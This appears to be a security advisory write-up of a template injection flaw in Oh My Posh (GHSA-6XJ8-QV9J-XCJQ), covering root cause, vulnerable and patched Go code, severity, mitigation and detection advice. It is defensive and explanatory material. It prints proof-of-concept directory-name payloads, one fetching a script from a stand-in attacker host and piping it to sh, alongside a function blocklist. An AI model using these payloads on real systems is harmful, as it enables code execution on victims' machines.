Jul 25, 2026·6 min read·3 visits
Navigating to a directory containing malicious Go template syntax in its name triggers immediate, arbitrary OS command execution under the current shell user context via Oh My Posh.
A critical-severity template injection vulnerability in Oh My Posh allows for unauthenticated arbitrary command execution. This issue occurs when a user navigates their shell into a directory whose name contains malicious Go template syntax, which is subsequently parsed and executed by the prompt engine.
GHSA-6XJ8-QV9J-XCJQ describes a critical-severity arbitrary command execution vulnerability in Oh My Posh, a customizable prompt theme engine utilized across multiple shells including Bash, Zsh, Fish, and PowerShell. The flaw resides within the path rendering component, which dynamically retrieves directory names from the underlying filesystem to display the current working directory. Because directory names are treated as trusted inputs, any Go template structural tags embedded within a folder name are processed and evaluated by the template engine.
The attack surface is exposed during standard shell navigation. When a user changes directories using commands such as cd, the prompt engine automatically executes to render the updated path. If the destination directory name is under the control of an attacker and contains malicious template instructions, the code execution phase is triggered automatically without further user action.
This vulnerability is classified under CWE-1336 (Improper Handling of Structural Elements in Input Template) and CWE-94 (Improper Control of Generation of Code). The default configuration of Oh My Posh exposes highly privileged template functions, such as cmd and readFile, allowing complete compromise of the local shell context.
The root cause of the vulnerability lies in the improper separation of code and data within the prompt rendering pipeline. Specifically, the path segment module in src/segments/path.go retrieves the names of directories directly from the filesystem. These directory names are concatenated to construct the resolved path string (pt.Path) without sanitization, filtering, or escaping of Go template delimiters ({{ and }}).
Following the construction of the path string, the application performs a double-evaluation step. It passes the raw path string containing the filesystem-derived folder names into the shared template rendering engine via template.Render(pt.Path, pt). The engine treats the structural template tags embedded within the directory names as executable code instructions rather than literal strings.
Because the template engine is initialized with a powerful function map (FuncMap) containing helper functions such as cmd, readFile, and env, an attacker can leverage these functions to interact with the operating system. The cmd helper executes arbitrary command strings through the execution environment runner, returning the standard output of the command directly into the prompt template.
In the vulnerable versions of Oh My Posh, src/segments/path.go used the generic template.Render() function, which applies the fully privileged configuration FuncMap to any text input. The following code demonstrates the vulnerable implementation within the path processing logic:
// src/segments/path.go (vulnerable)
func (pt *Path) setStyle() {
// ...
// pt.Path contains folder names retrieved from the filesystem
if txt, err := template.Render(pt.Path, pt); err == nil {
pt.Path = txt
}
}The corresponding initialization of the rendering environment in src/template/func_map.go bound operating system execution capabilities directly to the template namespace without restriction:
// src/template/func_map.go
func cmd(command string, args ...string) (string, error) {
output, err := env.RunCommand(command, args...)
return strings.TrimSpace(output), err
}To remediate this, the patch introduces a separation between trusted configurations and untrusted runtime inputs. The rendering engine was refactored to support a restricted rendering pipeline, RenderUntrusted(), which strips out functions that interact with the host operating system. The patch updates path.go to invoke this restricted renderer, ensuring template tags in directory names cannot execute code:
// src/segments/path.go (patched)
func (pt *Path) setStyle() {
// ...
// pt.Path is composed of untrusted filesystem inputs
// RenderUntrusted strips dangerous functions like cmd and readFile
if txt, err := template.RenderUntrusted(pt.Path, pt); err == nil {
pt.Path = txt
}
}An attack targeting this vulnerability is delivered via local filesystem interaction. The primary prerequisite is that the victim must navigate into a directory containing the crafted template string. Attackers can distribute these directories inside compressed archives, local network shares, USB drives, or cloned Git repositories.
Because path separators are disallowed within folder names on standard operating systems, the attacker must format the command without using the slash character (/ or \). Under Unix-like operating systems, this is typically achieved by utilizing alternative field separators or passing commands as separate arguments. In Windows environments, PowerShell variables or environmental parameters can bypass naming limitations.
When the user navigates into the target folder, the shell prompt executes oh-my-posh to display the active path. The execution path is completely transparent to the user, who only observes a slight rendering delay or the command output formatted into the prompt. The following example demonstrates a proof-of-concept directory name structured to execute a shell command:
{{ cmd "whoami" }}For complex payloads, the directory name can trigger a secondary script download and execution using environment variable expansion to avoid path character limits:
{{ cmd "curl${IFS}-s${IFS}attacker.example|sh" }}The impact of successful exploitation is complete system compromise within the security context of the current shell process. Because the prompt rendering process runs with the privileges of the active user, any arbitrary command is executed under those same credentials. If the shell is running in an elevated administrator or root context, the attacker gains full control over the operating system.
The CVSS v3.1 score of 7.8 reflects a High severity rating, primarily constrained by the requirement for local user interaction (navigating to the directory). The vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H indicates that confidentiality, integrity, and availability are all highly impacted.
Once code execution is achieved, an attacker can read sensitive files, exfiltrate environment variables containing API keys and database credentials, establish persistent backdoors, or deploy ransomware. Because developers frequently navigate untrusted repositories cloned from open-source registries, this vulnerability presents a high-risk vector for supply chain and developer workstation attacks.
To address the vulnerability, developers must upgrade the Oh My Posh package to version 29.35.1 or 29.36.0 immediately. The fix separates the execution engine into trusted and untrusted rendering contexts, preventing dynamic filesystem outputs from executing dangerous functions.
The patch implements a robust blocklist within the restricted function map, neutralizing cmd, readFile, stat, glob, env, and expandenv when RenderUntrusted is called. The logic is defined as follows:
var dangerousFuncs = map[string]bool{
"cmd": true,
"readFile": true,
"stat": true,
"glob": true,
"env": true,
"expandenv": true,
}For systems where immediate upgrading is not feasible, security administrators should deploy detection rules to identify anomalous child processes. Specifically, security teams should monitor for scenarios where oh-my-posh acts as a parent process spawning shell engines or network utilities such as curl, wget, or powershell.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
oh-my-posh JanDeDobbeleer | <= 29.35.0 | 29.35.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1336 / CWE-94 |
| Attack Vector | Local (AV:L) |
| CVSS v3.1 | 7.8 (High) |
| Exploit Status | PoC Available |
| KEV Status | Not Listed |
| Impact | Arbitrary OS Command Execution as Current User |
The software uses a template engine but does not neutralize or properly isolate structural syntax characters before evaluating inputs, leading to arbitrary code or template execution.
A multi-vector vulnerability advisory in the OmniFaces JavaServer Faces (JSF) utility library covers flaws leading to unauthenticated arbitrary file access, memory exhaustion (DoS), cross-site scripting (XSS), and WebSocket push channel hijacking.
Oh My Posh prior to version 29.35.1 is vulnerable to terminal escape sequence injection. Dynamic strings from directory names or Git repository metadata are written to the prompt output without neutralization, enabling unauthenticated remote code execution, clipboard hijacking, or terminal DoS when users navigate to malicious folders.
A prototype pollution vulnerability (CWE-1321) in the Quasar framework's utility function 'extend' allows unauthenticated remote attackers to modify the global Object.prototype. This vulnerability can lead to application-level logic bypasses, denial of service, or potentially arbitrary code execution depending on downstream implementation.
A critical connection-level Denial of Service (DoS) vulnerability exists in the Yamux stream multiplexer implementation of py-libp2p (versions <= 0.6.0). The flaw allows unauthenticated or authenticated peers to permanently stall a Yamux multiplexed connection by transmitting a single malformed 12-byte header claiming an oversized payload while withholding the payload bytes.
An unauthenticated remote resource exhaustion vulnerability in Amazon aws-smithy-http-server enables denial-of-service (DoS) attacks. Affected versions do not enforce connection limits or header timeouts, allowing standard Slowloris techniques to block server operations.
An authorization bypass vulnerability in the gRPC Watch API of etcd allows low-privileged users to read keys outside of their authorized range. By utilizing an open-ended range request sentinel, the input is prematurely normalized before RBAC validation, misclassifying a range watch as a single-key point query.